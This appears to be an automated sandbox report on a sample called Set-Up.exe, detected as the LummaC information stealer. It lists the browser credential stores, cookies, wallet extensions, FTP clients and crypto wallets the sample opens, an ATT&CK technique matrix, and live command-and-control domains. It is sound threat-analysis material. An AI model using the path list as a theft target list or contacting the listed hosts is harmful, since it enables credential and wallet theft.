Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Set-Up.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Set-Up.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1940402195.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1937265688.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Set-Up.exe PID: 7352, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Set-Up.exe PID: 7352, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Set-Up.exe	5%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://skatestringje.click/	100%	Avira URL Cloud	malware
https://skatestringje.click/api/	100%	Avira URL Cloud	malware
skatestringje.click	100%	Avira URL Cloud	malware
https://skatestringje.click/apiw	100%	Avira URL Cloud	malware
https://skatestringje.click/bu	100%	Avira URL Cloud	malware
https://skatestringje.click/apin	100%	Avira URL Cloud	malware
https://skatestringje.click:443/api	100%	Avira URL Cloud	malware
https://skatestringje.click/api	100%	Avira URL Cloud	malware
https://support.microsof	0%	Avira URL Cloud	safe
https://skatestringje.click/u	100%	Avira URL Cloud	malware
https://skatestringje.click/pi	100%	Avira URL Cloud	malware
https://skatestringje.click/$	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
skatestringje.click	104.21.75.15	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
kickykiduz.lat	false		high
bloodyswif.lat	false		high
https://skatestringje.click/api	true	Avira URL Cloud: malware	unknown
savorraiykj.lat	false		high
miniatureyu.lat	false		high
skatestringje.click	true	Avira URL Cloud: malware	unknown
washyceehsu.lat	false		high
finickypwk.lat	false		high
shoefeatthe.lat	false		high
leggelatez.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click/apin	Set-Up.exe, 00000000.00000003.1937265688.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click/api/	Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Set-Up.exe, 00000000.00000003.1888558150.0000000003A6F000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1903083251.0000000003A68000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1888660135.0000000003A68000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click:443/api	Set-Up.exe, 00000000.00000003.1964907434.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Set-Up.exe, 00000000.00000003.1888558150.0000000003A6F000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1903083251.0000000003A68000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1888660135.0000000003A68000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click/bu	Set-Up.exe, 00000000.00000003.1982707055.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1964907434.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://skatestringje.click/apiw	Set-Up.exe, 00000000.00000003.1982707055.0000000000B02000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000002.1984463320.0000000000B00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click/	Set-Up.exe, 00000000.00000003.1982707055.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1964907434.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://skatestringje.click/u	Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Set-Up.exe, 00000000.00000003.1888660135.0000000003A43000.00000004.00000800.00020000.00000000.sdmp	false		high
